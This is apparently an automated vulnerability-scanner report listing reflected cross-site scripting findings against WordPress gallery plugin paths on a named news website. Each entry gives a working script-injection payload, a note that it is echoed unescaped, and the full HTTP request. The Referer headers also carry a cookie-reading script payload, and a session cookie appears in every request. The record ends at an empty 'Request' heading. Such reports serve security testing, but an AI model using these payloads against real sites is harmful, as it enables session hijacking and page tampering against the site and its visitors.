GET /wp-content/plugins/nextgen-gallery/css63507"><script>alert(1)</script>c0dbf220b11/ngg_shadow.css?ver=1.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc53c"><script>alert(1)</script>d817813d048 was submitted in the REST URL parameter 5. This input was echoed as dc53c\"><script>alert(1)</script>d817813d048 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-gallery/css/ngg_shadow.cssdc53c"><script>alert(1)</script>d817813d048?ver=1.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ffcb"><script>alert(1)</script>fc0669eabc9 was submitted in the REST URL parameter 1. This input was echoed as 8ffcb\"><script>alert(1)</script>fc0669eabc9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content8ffcb"><script>alert(1)</script>fc0669eabc9/plugins/nextgen-gallery/shutter/shutter-reloaded.css?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d112"><script>alert(1)</script>f10e6f9e41c was submitted in the REST URL parameter 2. This input was echoed as 9d112\"><script>alert(1)</script>f10e6f9e41c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins9d112"><script>alert(1)</script>f10e6f9e41c/nextgen-gallery/shutter/shutter-reloaded.css?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9ff5"><script>alert(1)</script>ea33fa666d7 was submitted in the REST URL parameter 3. This input was echoed as b9ff5\"><script>alert(1)</script>ea33fa666d7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-galleryb9ff5"><script>alert(1)</script>ea33fa666d7/shutter/shutter-reloaded.css?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10c9c"><script>alert(1)</script>1dcbd1a3314 was submitted in the REST URL parameter 4. This input was echoed as 10c9c\"><script>alert(1)</script>1dcbd1a3314 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-gallery/shutter10c9c"><script>alert(1)</script>1dcbd1a3314/shutter-reloaded.css?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80254"><script>alert(1)</script>4ff3845c1a0 was submitted in the REST URL parameter 5. This input was echoed as 80254\"><script>alert(1)</script>4ff3845c1a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.css80254"><script>alert(1)</script>4ff3845c1a0?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d109b"><script>alert(1)</script>740b7d3f573 was submitted in the REST URL parameter 1. This input was echoed as d109b\"><script>alert(1)</script>740b7d3f573 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contentd109b"><script>alert(1)</script>740b7d3f573/plugins/nextgen-gallery/shutter/shutter-reloaded.js?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 758a3"><script>alert(1)</script>892ebe730c3 was submitted in the REST URL parameter 2. This input was echoed as 758a3\"><script>alert(1)</script>892ebe730c3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins758a3"><script>alert(1)</script>892ebe730c3/nextgen-gallery/shutter/shutter-reloaded.js?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 623f9"><script>alert(1)</script>4c3ca8661e8 was submitted in the REST URL parameter 3. This input was echoed as 623f9\"><script>alert(1)</script>4c3ca8661e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-gallery623f9"><script>alert(1)</script>4c3ca8661e8/shutter/shutter-reloaded.js?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0249"><script>alert(1)</script>e70c9a46f95 was submitted in the REST URL parameter 4. This input was echoed as a0249\"><script>alert(1)</script>e70c9a46f95 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-gallery/shuttera0249"><script>alert(1)</script>e70c9a46f95/shutter-reloaded.js?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3874"><script>alert(1)</script>f2e271e0695 was submitted in the REST URL parameter 5. This input was echoed as a3874\"><script>alert(1)</script>f2e271e0695 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.jsa3874"><script>alert(1)</script>f2e271e0695?ver=1.3.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f2c8"><script>alert(1)</script>3d7379d10e9 was submitted in the REST URL parameter 1. This input was echoed as 2f2c8\"><script>alert(1)</script>3d7379d10e9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content2f2c8"><script>alert(1)</script>3d7379d10e9/plugins/nextgen-smooth-gallery/SmoothGallery/css/jd.gallery.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af8e2"><script>alert(1)</script>31aa82faf21 was submitted in the REST URL parameter 2. This input was echoed as af8e2\"><script>alert(1)</script>31aa82faf21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/pluginsaf8e2"><script>alert(1)</script>31aa82faf21/nextgen-smooth-gallery/SmoothGallery/css/jd.gallery.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26f61"><script>alert(1)</script>ec29f575b8e was submitted in the REST URL parameter 3. This input was echoed as 26f61\"><script>alert(1)</script>ec29f575b8e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery26f61"><script>alert(1)</script>ec29f575b8e/SmoothGallery/css/jd.gallery.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa6ec"><script>alert(1)</script>2330f6dab85 was submitted in the REST URL parameter 4. This input was echoed as fa6ec\"><script>alert(1)</script>2330f6dab85 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGalleryfa6ec"><script>alert(1)</script>2330f6dab85/css/jd.gallery.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1d8d"><script>alert(1)</script>d206ca5bb4b was submitted in the REST URL parameter 5. This input was echoed as c1d8d\"><script>alert(1)</script>d206ca5bb4b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGallery/cssc1d8d"><script>alert(1)</script>d206ca5bb4b/jd.gallery.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0586"><script>alert(1)</script>6a63903b8c8 was submitted in the REST URL parameter 6. This input was echoed as c0586\"><script>alert(1)</script>6a63903b8c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGallery/css/jd.gallery.cssc0586"><script>alert(1)</script>6a63903b8c8 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26543"><script>alert(1)</script>022d4cef610 was submitted in the REST URL parameter 1. This input was echoed as 26543\"><script>alert(1)</script>022d4cef610 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content26543"><script>alert(1)</script>022d4cef610/plugins/nextgen-smooth-gallery/SmoothGallery/scripts/jd.gallery.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41322"><script>alert(1)</script>74e5a90858e was submitted in the REST URL parameter 2. This input was echoed as 41322\"><script>alert(1)</script>74e5a90858e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins41322"><script>alert(1)</script>74e5a90858e/nextgen-smooth-gallery/SmoothGallery/scripts/jd.gallery.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89d9a"><script>alert(1)</script>d4a9b58102d was submitted in the REST URL parameter 3. This input was echoed as 89d9a\"><script>alert(1)</script>d4a9b58102d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery89d9a"><script>alert(1)</script>d4a9b58102d/SmoothGallery/scripts/jd.gallery.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac37c"><script>alert(1)</script>27d3f8281f2 was submitted in the REST URL parameter 4. This input was echoed as ac37c\"><script>alert(1)</script>27d3f8281f2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGalleryac37c"><script>alert(1)</script>27d3f8281f2/scripts/jd.gallery.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efc96"><script>alert(1)</script>9d117380136 was submitted in the REST URL parameter 5. This input was echoed as efc96\"><script>alert(1)</script>9d117380136 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGallery/scriptsefc96"><script>alert(1)</script>9d117380136/jd.gallery.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3174f"><script>alert(1)</script>9f37b5db3df was submitted in the REST URL parameter 6. This input was echoed as 3174f\"><script>alert(1)</script>9f37b5db3df in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGallery/scripts/jd.gallery.js3174f"><script>alert(1)</script>9f37b5db3df HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e056"><script>alert(1)</script>02c4b7b6fdd was submitted in the REST URL parameter 1. This input was echoed as 9e056\"><script>alert(1)</script>02c4b7b6fdd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content9e056"><script>alert(1)</script>02c4b7b6fdd/plugins/nextgen-smooth-gallery/SmoothGallery/scripts/jd.gallery.transitions.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c839d"><script>alert(1)</script>7284c39bd27 was submitted in the REST URL parameter 2. This input was echoed as c839d\"><script>alert(1)</script>7284c39bd27 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
